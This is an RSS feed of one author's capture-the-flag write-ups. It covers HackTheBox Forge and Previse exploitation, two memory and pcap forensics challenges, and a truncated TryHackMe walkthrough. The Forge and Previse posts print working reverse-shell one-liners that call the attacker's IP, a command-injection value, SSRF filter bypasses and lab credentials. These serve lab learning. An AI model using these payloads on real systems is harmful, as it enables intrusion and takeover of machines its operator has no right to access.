<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hussien Misbah on Medium]]></title>
        <description><![CDATA[Stories by Hussien Misbah on Medium]]></description>
        <link>https://medium.com/@mesbaha?source=rss-63df78ec0716------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*oQGhL-qJrRGTtQVkEXrFCg.jpeg</url>
            <title>Stories by Hussien Misbah on Medium</title>
            <link>https://medium.com/@mesbaha?source=rss-63df78ec0716------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 03:24:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mesbaha/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HackTheBox — Forge Writeup]]></title>
            <link>https://mesbaha.medium.com/hackthebox-forge-writeup-c7cf210a8567?source=rss-63df78ec0716------2</link>
            <guid isPermaLink="false">https://medium.com/p/c7cf210a8567</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[forge]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[ssrf]]></category>
            <dc:creator><![CDATA[Hussien Misbah]]></dc:creator>
            <pubDate>Sat, 22 Jan 2022 17:42:59 GMT</pubDate>
            <atom:updated>2022-01-22T17:42:59.668Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackTheBox — Forge Writeup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*vilKwsWcEkAOXnxllJAhSQ.png" /></figure><h3><strong>Scanning :</strong></h3><p>- basic scanning</p><p>note : add <strong><em>&lt;ip&gt; forge.htb</em></strong> to the<strong><em> /etc/hosts</em></strong></p><pre>nmap -sV -A -T 4 10.10.11.111 </pre><p>output :</p><pre>PORT STATE SERVICE VERSION<br>21/tcp filtered ftp<br>22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| 3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)<br>| 256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)<br>|_ 256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)<br>80/tcp open http Apache httpd 2.4.41<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>|_http-title: Gallery</pre><p>- we can run all ports scan in the Background Until we enumerate the ports we have But it won’t return any new .</p><h3><strong>Enumeration :</strong></h3><p>- port 21 : is Filtered trying to access it</p><pre>ftp &lt;ip&gt;<br>returns<br>ftp: connect: Connection timed out</pre><p>so it seems we can’t access it Publicly</p><p>- port 80 : “the web application”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5NmYKszHk5u9mE6f2gLS3A.png" /></figure><p>- we have upload an image Function with 2 options either from your machine or form url</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*0GPmHnyOK0MApUmfhk-QcQ.png" /></figure><p>- testing from my machine to upload a .png file and see</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UJdNE3hXSdd7HAr2gPmS0Q.png" /></figure><p>- it also accepts any extension and assign a random name to it</p><p>- testing from url :</p><p>firing up a <strong>python http server</strong> at my local machine and it made the request successfully :</p><pre>10.10.11.111 — — [16/Jan/2022 17:31:20] “GET /test.png HTTP/1.1”</pre><p>what about internal address ?</p><pre>- trying <a href="http://127.0.0.1/">http://127.0.0.1</a> <br>result :<br><br>URL contains a blacklisted address!</pre><p>so it makes some filtering in case we try localhost address indicating maybe we are against <strong>SSRF</strong> .</p><p>trying some Bypasses and those doesn’t return Blacklisted message</p><pre><a href="http://127.0.0.1/">http://127.1</a><br><a href="http://localhost/">http://LOCALHOST</a></pre><p>trying : <strong><em>file:///etc/passwd </em></strong><br>returns : <br><strong><em>Invalid protocol! Supported protocols: http, https</em></strong></p><p>so now we know the following :<br><em>- we have ftp running internally<br>- we have ssrf to access local things<br>- accepts http and https only , ftp is not supported</em></p><h3>More Enumeration :</h3><p>Typically in HTB , another Vhost is a common scenario so trying to get Fuzzing it with <strong><em>ffuf</em></strong></p><pre>ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million 5000.txt -u <a href="http://forge.htb/">http://forge.htb/</a> -H “Host: FUZZ.forge.htb” -fc 302,404<br><br>admin [Status: 200, Size: 27, Words: 4, Lines: 2]</pre><p>add <strong><em>admin.forge.htb</em></strong> to <strong><em>/etc/hosts</em></strong></p><p>trying to access it :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*kXC5pN8BtBZ8hrbR26KWag.png" /></figure><p><strong><em>=&gt; So putting things together we will have one conclusion to continue from :</em></strong></p><p><strong><em>forge.htb</em></strong> can make a valid request to <strong><em>admin.forge.htb</em></strong> , we can achieve that !</p><p>Back to the upload from url vulnerable Function and trying</p><p><a href="http://admin.forge.htb``/">http://admin.forge.htb</a></p><p>returns the blacklist message , so <strong><em>forge.htb</em></strong> seems to Be blocked also.</p><p>trying : <a href="http://admin.forge.htb``/"><strong><em>http://admin.forge.HTB</em></strong></a> then downloading the page and see contents :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FBqGKpY8DIAFfxPEuHgaEA.png" /></figure><p>so we have the following directories at the <strong><em>admin.forge.htb</em></strong></p><pre>/announcements<br>/upload<br>/</pre><p>Back to the upload from url and requesting :<br><br><a href="http://admin.forge.htb/announcements"><strong><em>http://admin.forge.HTB/announcements</em></strong></a></p><p>downloading the page to see the content we can see :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VQKrXfe2I9wD3aXcOItZBw.png" /></figure><ul><li>so we have credentials : <strong><em>user:heightofsecurity123!</em></strong></li><li>i tried to ssh with those But it can’t access ssh with a public key so it seems we have to get the <strong><em>id_rsa </em></strong>somehow if we want to ssh into the machine.</li><li>so depending on page <strong><em>/announcements</em></strong> we can use <strong><em>ftp://</em></strong> with the upload page in this <strong>admin.forge.HTB</strong> .</li></ul><h3>Foothold :</h3><p><a href="http://admin.forge.htb/upload?u=ftp://">http://admin.forge.HTB/upload?u=ftp://</a></p><p><strong><em>But How could we access the ftp with a user:password from web url</em></strong></p><ul><li>reading <a href="https://www.timeatlas.com/ftp-web-browser/">here</a></li><li>we can use the following syntax :<br><a href="http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@127.1"><em>http://admin.forge.HTB/upload?u=ftp://user:heightofsecurity123!@127.1</em></a></li></ul><p>downloading the content :</p><pre>drwxr-xr-x 3 1000 1000 4096 Aug 04 19:23 snap<br>-rw-r — — — 1 0 1000 33 Jan 17 00:17 user.txt</pre><p>seems we are in the home directory of user <strong><em>user</em></strong> so let’s try read the id_rsa</p><ul><li>using the following url and download content :</li></ul><p><a href="http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@127.1/.ssh/id_rsa">http://admin.forge.HTB/upload?u=ftp://user:heightofsecurity123!@127.1/.ssh/id_rsa</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*jSZugfyxdEMywD5EnIWrdQ.png" /></figure><pre>chmod 600 id_rsa<br>ssh -i id_rsa user@10.10.11.111</pre><h3>Privilege escalation :</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F-BtyvOHrr5wRLm-k7Iq4w.png" /></figure><pre>checking permissions :<br><br>-rwxr-xr-x 1 root root 1447 May 31 2021 /opt/remote-manage.py</pre><p><strong><em>reading and analyzing the script :</em></strong></p><p>- first it sets a listener on a random port <br>- we can only access the port locally so we will get a second ssh session to interact with it .</p><pre>port = random.randint(1025, 65535)<br>try:<br> sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br> sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)<br> sock.bind((‘127.0.0.1’, port))<br> sock.listen(1)<br> print(f’Listening on localhost:{port}’)<br> (clientsock, addr) = sock.accept()</pre><p>2- asks for a password and it should = <strong>secretadminpassword</strong> , then waits for option from 1–4</p><pre>clientsock.send(b’Enter the secret passsword: ‘)<br>if clientsock.recv(1024).strip().decode() != ‘secretadminpassword’:<br> clientsock.send(b’Wrong password!\n’)</pre><p>3- options we have and the Handling :</p><pre>except Exception as e:<br> print(e)<br> pdb.post_mortem(e.__traceback__)<br>finally:<br> quit()</pre><p>if we raise an error it will open a <strong>pdb debugger shell</strong> which we can abuse to have a reverse shell as root :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*Da0UxHPGAfgnIUZ43wLOpA.png" /></figure><p>the other ssh session to interact with the port listening :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*g1jr21THfN3HzGcNm4Ohsw.png" /></figure><p>raised the error by typing <strong>id</strong> while it expects a number and get the pdb shell we can now get a reverse shell :</p><pre>(Pdb) import os <br>(Pdb) os.system(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&gt;&amp;1|nc &lt;my_ip&gt; 9999 &gt;/tmp/f”)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*DzI9rWs4ZezZY0jmzBSFeA.png" /></figure><p>gain root reverse shell :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*Az-Mzu7sRXWW2EOLO5Pnfg.png" /></figure><h4><strong>Pwned</strong></h4><h3><strong>investigation :</strong></h3><pre>we have at <strong><em>/var/www</em></strong> the following <br><br>html forge admin</pre><p>in the source code we can see :</p><pre>blacklist = [“forge.htb”, “127.0.0.1”, “10.10.10.10”, “::1”, “localhost”,<br> ‘0.0.0.0’, ‘[0:0:0:0:0:0:0:0]’]</pre><p>which is not enough Filtering to mitigate SSRF , we have Bypassed that By changing any letter at <strong><em>forge.htb</em></strong> to Uppercase</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c7cf210a8567" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Previse HackTheBox By Hussien Misbah]]></title>
            <link>https://mesbaha.medium.com/previse-hackthebox-by-hussien-misbah-33123a8ef796?source=rss-63df78ec0716------2</link>
            <guid isPermaLink="false">https://medium.com/p/33123a8ef796</guid>
            <category><![CDATA[previse]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[path-poisoning]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <dc:creator><![CDATA[Hussien Misbah]]></dc:creator>
            <pubDate>Sat, 08 Jan 2022 17:04:58 GMT</pubDate>
            <atom:updated>2022-01-08T17:11:57.144Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/881/0*9XEW1YYrO6-WrRnL.png" /></figure><p><strong>This room covers :</strong></p><pre>- remote code execution <br>- password cracking <br>- path poisoning</pre><p>Let’s Get started :</p><ul><li>instead of copy and paste the ip repeatedly we can export the ip value and assign variable name $IP in the current bash shell</li></ul><pre>export IP=10.10.11.104</pre><h3>Scanning</h3><p>will start with a basic scan and can scan all ports in background in case this wan’t helpful for us .</p><pre><strong>sudo nmap -sV -vv $IP -oN nmap/intial</strong></pre><pre>PORT STATE SERVICE REASON VERSION</pre><pre><strong>22/tcp</strong> open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 Ubuntu Linux; protocol 2.0) </pre><pre><strong>80/tcp</strong> open http syn-ack ttl 63 Apache httpd 2.4.29</pre><p>visiting the web page :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4IsExgBFG8EFidoA.png" /></figure><p>tried some sqli but not worked</p><h3>directory brute-force :</h3><pre>$ gobuster dir -u <a href="http://10.10.11.104/">http://10.10.11.104/</a> -w /usr/share/dirb/wordlists/big.txt -x php,txt</pre><p>found :</p><pre><strong>/accounts.php</strong> (Status: 302) [Size: 3994] [--&gt; login.php] <br><strong>/config.php</strong> (Status: 200) [Size: 0] <br><strong>/download.php</strong> (Status: 302) [Size: 0] [--&gt; login.php] <br><strong>/files.php</strong> (Status: 302) [Size: 4914] [--&gt; login.php]</pre><p>you can use curl without enabling redirect and will notice the same thing immediately</p><pre><strong>curl</strong> <a href="http://10.10.11.104/accounts.php">http://10.10.11.104/accounts.php</a> -vvv</pre><p>But i opened up my burpsuite and observe the requests and response for /accounts.php</p><ul><li>there is a redirect happen to /login.php again .</li><li>i do intercept the redirect and found :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/0*KkkhA1ZoBs3Bf3Sb.png" /></figure><p>hence i want to view and interact with this page , i changed the HTTP 302 redirect to HTTP 200 OK</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/0*7RkinyVyeY9fgx5f.png" /></figure><p>forward it :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eu_mNqOOYg7GIP-a.png" /></figure><p>i made an account and then redirected me to /login.php again so i logged in successfully</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9vlwB1LZtlFNZmwq.png" /></figure><p>navigating through the tabs found :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*i_QJekVtzcwgYDS9.png" /></figure><p>so i downloaded the backup and found :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UzTNiEHMUSLqWE46.png" /></figure><p><strong>in config.php :</strong></p><pre>&lt;?php</pre><pre>function connectDB(){<br>    $host = &#39;localhost&#39;;<br>    $user = &#39;root&#39;;<br>    $passwd = &#39;mySQL_p@ssw0rd!:)&#39;;<br>    $db = &#39;previse&#39;;<br>    $mycon = new mysqli($host, $user, $passwd, $db);<br>    return $mycon;<br>}</pre><pre>?&gt;</pre><p>after some navigating in the files :</p><p><strong>in /logs.php</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UgTzYOw_H3Ry_Ffj.png" /></figure><ul><li>so we can see the exec function which most likely indicating RCE , and python is executing on a script and seems the script saves output in out.log .</li><li>understanding the logic at my local machine :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/0*gJ8rl7zRJ0jdSoyS.png" /></figure><p>[+] we can check for a python reverse shell command <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#python">here</a></p><pre>python - c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;&lt;your_ip&gt;&quot;,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;])&#39;</pre><ul><li>so we can inject any command like : delim=comma;INJECTION</li><li>we will get a shell immediatley</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/0*57tW2QyeFTBNdFmq.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ESJm0QiaTTWLEQ4g.png" /></figure><pre># stablizie the shell <br>$ python -c &quot;import pty;pty.spawn(&#39;/bin/bash&#39;)&quot;</pre><p>hence we are in the machine now so we can access local host and view data- base :D</p><pre>mysql -h localhost -u root -p previse</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Czdc3CYSLpQP2yTC.png" /></figure><p>check <a href="https://gist.github.com/dwallraff/6a50b5d2649afeb1803757560c176401">here</a> for attack modes in Hashcat</p><pre>$ hashcat -m 500 -a 0 hashed_m4lware /usr/share/wordlists/rockyou.txt <br># 500 : md5crypt <br># 0 : straight attack mode <br>$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/0*CyD6piVDp4ZXP41b.png" /></figure><h3>privilege escalation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/0*7QyjnEVZVK-eAIEm.png" /></figure><p>so let’s read the script :</p><pre># We always make sure to store logs, we take security SERIOUSLY here # I know I shouldnt run this as root but I cant figure it out programmatically on my account # This is configured to run with cron, added to sudo so I can run as needed - we&#39;ll fix it later when there&#39;s time <br>gzip -c /var/log/apache2/access.log &gt; /var/backups/_access.gz <br>gzip -c /var/www/file_access.log &gt; /var/backups/_file_access.gz</pre><ul><li>so it simply makes a backup for the logs with gzip .</li><li>we can notice gzip is not written as full path /usr/bin/gzip and this will allow us to try Path poisoning</li></ul><h3>PATH poisoning</h3><p>we can use that so when we execute this as root “with sudo” gzip will refer to the /tmp in the path</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/0*-SfodZxbvz07Pth2.png" /></figure><p>i don’t know why but the shell doesn’t return any result although i gained the root access so i make a reverse shell and it worked perfectly</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/0*Be3oB4_e9vr96_RJ.png" /></figure><h3>Pwned !</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=33123a8ef796" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mego challenge | cybertalents Egypt national CTF 2021 | digital forensics]]></title>
            <link>https://mesbaha.medium.com/mego-challenge-cybertalents-egypt-national-ctf-2021-digital-forensics-d63f31f7f1aa?source=rss-63df78ec0716------2</link>
            <guid isPermaLink="false">https://medium.com/p/d63f31f7f1aa</guid>
            <category><![CDATA[memory-dump]]></category>
            <category><![CDATA[volatility]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[cyber-talents]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Hussien Misbah]]></dc:creator>
            <pubDate>Thu, 11 Nov 2021 14:05:41 GMT</pubDate>
            <atom:updated>2021-12-12T06:00:00.856Z</atom:updated>
            <content:encoded><![CDATA[<p>we participated in the CTF under team “cha0s”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mm3jYqACDqge5FsonTUfWg.png" /></figure><p>description :</p><pre>Mego has something at the Desktop however he leaves his secret on cloud</pre><p>we have a memory dump so first :</p><pre>python2 ~/tools/volatility/vol.py -f memdump.mem imageinfo</pre><p>output :</p><pre>Suggested Profile(s) : Win7SP1x64, Win7SP0x64,.  ..</pre><p>now we know which profile to use</p><pre>python2 ~/tools/volatility/vol.py -f memdump.mem --profile=Win7SP1x64 filescan | grep -i &quot;flag&quot;</pre><pre>Volatility Foundation Volatility Framework 2.6.1<br>0x0000000050dc4370     16      0 RW---- \Device\HarddiskVolume2\Users\admin\Downloads\flag.txt.zip<br>0x0000000051c31070     16      0 -W-r-- \Device\HarddiskVolume2\Users\admin\AppData\Local\Temp\VirtualBox Dropped Files\2021-06-28T00_22_19.499460900Z\flag.txt.zip<br>0x000000005f7c64c0     16      0 RW-rw- \Device\HarddiskVolume2\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\flag.txt.lnk<br>0x000000005fd82710     16      0 RW-rw- \Device\HarddiskVolume2\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\flag.txt (2).lnk</pre><p>we can dump the flag.txt.zip file :</p><pre>python2 ~/tools/volatility/vol.py -f memdump.mem --profile=Win7SP1x64 dumpfiles -Q 0x0000000050dc4370 --name file -D .</pre><p>we can see :</p><pre>file flag.zip <br>flag.zip: Zip archive data, at least v5.1 to extract</pre><blockquote><em>But it needs a password , tried to crack it with john but failed , remember the description ?</em></blockquote><pre>python2 ~/tools/volatility/vol.py -f memdump.mem --profile=Win7SP1x64 iehistory</pre><p>in the output this part keep appearing :</p><pre>Record length: 0x480<br>Location: Visited: admin@<a href="https://www.google.com/search?hl=ar-AE&amp;source=hp&amp;q=aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vZWd5Y29uZG9yL2VlYTQyZWZkY2M4YWZmZjZlY2E3ODllZmFkMDkyNGY0&amp;btnG=%D8%A8%D8%AD%D8%AB+Google%E2%80%8F&amp;iflsig=AINFCbYAAAAAYNklB-nHZ11BsWPswjKaNT4sXGZcL73d&amp;gbv=1">https://www.google.com/search?hl=ar-AE&amp;source=hp&amp;q=aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vZWd5Y29uZG9yL2VlYTQyZWZkY2M4YWZmZjZlY2E3ODllZmFkMDkyNGY0&amp;btnG=%D8%A8%D8%AD%D8%AB+Google%E2%80%8F&amp;iflsig=AINFCbYAAAAAYNklB-nHZ11BsWPswjKaNT4sXGZcL73d&amp;gbv=1</a><br>Last modified: 2021-06-28 00:25:40 UTC+0000</pre><p>let’s try decode it :</p><pre>echo &quot;aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vZWd5Y29uZG9yL2VlYTQyZWZkY2M4YWZmZjZlY2E3ODllZmFkMDkyNGY0&quot; | base64 -d <a href="https://gist.github.com/egycondor/eea42efdcc8afff6eca789efad0924f4">https://gist.github.com/egycondor/eea42efdcc8afff6eca789efad0924f4</a></pre><p>we can see the link is a big worldlist of passwords , we can try crack it now</p><pre>$zip2john flag.zip | tee hash_ctf <br>$john --wordlist=pass.txt hash_ctf</pre><p>output :</p><p>we ‘ve got a valid password to use :</p><pre>zipal.zip/flag.txt:g=ax6w{JPtHL./FdE&amp;8ASVbu$rcmG ?zZ:flag.txt:zipal.zip:zipal.zip</pre><p>now we can extract it and see the flag :</p><pre>flag{[redacted]}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d63f31f7f1aa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Dega challenge | cybetalents | digital Forensics]]></title>
            <link>https://mesbaha.medium.com/dega-challenge-cybetalents-digital-forensics-4a03b73dff5c?source=rss-63df78ec0716------2</link>
            <guid isPermaLink="false">https://medium.com/p/4a03b73dff5c</guid>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[bash-script]]></category>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[cyber-talents]]></category>
            <dc:creator><![CDATA[Hussien Misbah]]></dc:creator>
            <pubDate>Sat, 09 Oct 2021 16:17:45 GMT</pubDate>
            <atom:updated>2021-10-09T16:17:45.815Z</atom:updated>
            <content:encoded><![CDATA[<p>Well Forensics is not really my main interest , However i was recently studying automating things with bash and this callenge was a pretty good challenge to practice . There is a solution for this challenge in <a href="https://nakerah.net/community/media/offensive-security-certified-professional%E2%80%AC%E2%80%8E-oscp-module5-ex2-dega-challeng.375/">Nakerah Network</a> But i solved it in parts and without tcpdump . feel free to check Both ways to enhance your skills . enough talking let’s Go !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*a0_ETtzjvxV6hAdP.gif" /></figure><blockquote><em>note : you can find at the end of the article headlines of the steps if you don’t want any spoliers .</em></blockquote><p>you can download the file<a href="https://mega.nz/file/Yh4VECAL#2GvF-DCdzRikpZQnGH_ztnNIKf98GtrPI-VfTI1SRVQ"> here </a>. will found a pcap file so let’s use wireshark to start investigation .</p><pre>sudo wireshark data.pcap </pre><p>will see some ARP requests and TCP packets which is our interest here .we can export the packets by :</p><pre>file &gt; Export Objects &gt; HTTP &gt; saveall &gt; save</pre><p>better create a directory before dumping them because there are alot of packets there :)</p><p>202 file will be there , if you try open some of them will see that it seems a massive base64 encoded data are sent in those packets so our goal is to assemble the pieces .</p><p>there are 2 file types :</p><pre>HTML Document # requests sent<br>ASCII text    # alot of base64 encoded text</pre><p>we are not really interesed to see the request headers which have the HTML type so we will remove them , Let’s start coding now :</p><pre># this script will remove any file has type HTMLdocument <br>#!/bin/bash</pre><pre>for file in  $(ls )<br>do<br>data=$(file $file | cut -d &quot;:&quot; -f 2 | cut -d &quot;,&quot; -f 1 | tr -d &quot; &quot;)<br>if [ $data == &quot;HTMLdocument&quot; ]<br>then</pre><pre>rm -f  $file</pre><pre>fi<br>done<br>echo &quot;[+] done&quot;</pre><p>we can save it as data_only.sh and put it at same directory with the 202 file and execute it and enjoy results</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7k0ik-8OxeAa4p6UU-lbxA.png" /></figure><p>next : file names are not so friendly so we can change them in a simple script also</p><pre># ex : &#39;%2f(192) &gt; 192 <br>#!/bin/bash</pre><pre>mv  &#39;%2f&#39; &#39;%2f(0)&#39;<br>for packet  in ` ls |  grep -E -v &quot;*.sh&quot; `</pre><pre>do</pre><pre>mv $packet $(ls $packet | sed s/&#39;%2f(&#39;//g | sed s/&#39;)&#39;//g)</pre><pre>done</pre><pre>echo &quot;[+] done&quot;</pre><p>we can save it as renamer.sh and put it inside the directory also and run it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PM-vNw-kFB0FjBBhG3R_yA.png" /></figure><p>so for so good , if we open any of them will see there is a prefix</p><pre>0=eyJwYXl.. . . .. . <br>35=TmlhekY. . . . . . <br>and so on </pre><p>the n=data convention indicate the number of the packet , so we need now to remove this first bit as it will affect our results when trying decoding the data at the end</p><pre>#!/bin/bash</pre><pre>mkdir clean<br>for i in $(ls | grep -v &quot;clean&quot; | grep -v &quot;remove_bit.sh&quot; | grep -v &quot;renamer.sh&quot; | grep -v &quot;data_only.sh&quot;)<br>do</pre><pre>cat $i | cut -d &#39;=&#39; -f 2 &gt; clean/$i</pre><pre>done</pre><pre>echo &quot;[+] done &quot;</pre><p>output of the script will be found at new directory called clean , you can remove the prefixed packets by adding</p><pre>rm  -f $i </pre><p>in the for loop but i kept it .</p><p>now let’s assemble the pieces !</p><p>we can make a handy bash command in the terminal :</p><pre>for i in $(seq 0 +4 400) ;do cat $i | tr -d &#39;\n&#39; &gt;&gt; all_payload  ;done</pre><p>when we open the payload we can notic url encodnig with “%0A” and “%3D” the “%0A” is for new line and “%3D” for “=” character in base64 encoded data , let’s remove them .</p><p>&gt; note : don’t try replacing them with text editor it may crash</p><pre>cat all_payload | sed s/&#39;%0A&#39;//g | sed s/&#39;%3D&#39;/&#39;=&#39;/g &gt; all_payload_url_decoded</pre><p>now we can start working with full data assembled !</p><pre>cat all_payload_url_decoded | base64 -d  &gt; test1 </pre><p>it seems the data is base64 encoded alot of times we can also see output contain the following :</p><pre>&gt; {&quot;payload&quot;: &quot;  <br>&gt; \n <br>&gt; &quot;}</pre><p>so we will need to remove them each time to be able to base64 decode them</p><pre>   <br>#!/bin/bash</pre><pre>s=$(cat all_payload_url_decoded )</pre><pre>i=0<br>while true</pre><pre>do</pre><pre>dummy=$(echo $s |base64 -d | sed s/&#39;\\n&#39;//g | sed s/&#39;{&quot;payload&quot;: &quot;&#39;//g | sed s/&#39;&quot;}&#39;//g)<br>s=$dummy</pre><pre># check substr &quot;flag&quot; in the output <br>if [[ $dummy == *&#39;flag&#39;* ]]<br>then<br>echo $dummy<br>break<br>fi<br>done</pre><p>we can save the script in get_flag.sh and put it in the clean directory then run it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*Hh8BDNSsl1LHLwtdtlurjw.png" /></figure><p>it was very challenging to me and i really enjoyed it .</p><blockquote>steps guide</blockquote><p>1- remove the requests and just have the data packets “ data_only.sh script”<br>2- rename packets “renamer.sh will make your life easy”<br>3- remove first bit form each file “n=” “remove_bit.sh script”<br>4- stick all payload <br>5- we need to url decode it before base64 decode it<br>6- if we start base64 decode it now will notice some things must be removed to do recurisve base64 decode<br>7- recursive base64 decoding untill flag is revealed “get_flag.sh”</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a03b73dff5c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The server from hell | TryHackMe]]></title>
            <link>https://mesbaha.medium.com/the-server-from-hell-tryhackme-7d8f1489e92f?source=rss-63df78ec0716------2</link>
            <guid isPermaLink="false">https://medium.com/p/7d8f1489e92f</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[capabilities]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[nfs-server]]></category>
            <dc:creator><![CDATA[Hussien Misbah]]></dc:creator>
            <pubDate>Thu, 30 Sep 2021 02:38:44 GMT</pubDate>
            <atom:updated>2021-10-03T07:06:42.662Z</atom:updated>
            <content:encoded><![CDATA[<h3>The server from hell | TryHackMe by Hussien Misbah</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2XQJJew6JS3UmHiS.png" /></figure><blockquote>this room covers :</blockquote><ul><li>nfs enumeration to get ssh keys</li><li>ports enumeration to check what is valid</li><li>cracking passwords</li><li>privilege escalation with capabilities</li></ul><p><em>&gt; export IP=10.10.25.107</em></p><p>description : ‘ Start at port 1337 and enumerate your way.’</p><pre>sudo nmap -vv $IP -oN nmap/intial # stealth scan to be fast :D</pre><p>$ nc 10.10.25.107 1337</p><pre>Welcome traveller, to the beginning of your journey To begin, find the trollface Legend says he&#39;s hiding in the first 100 ports Try printing the banners from the ports</pre><p>let’s loop through these 100 ports :</p><pre>$ for i in {1..100} ; do nc $IP $i;done</pre><p>output contain :go to port 12345</p><pre>$ nc $IP 12345</pre><p>output :</p><pre>NFS shares 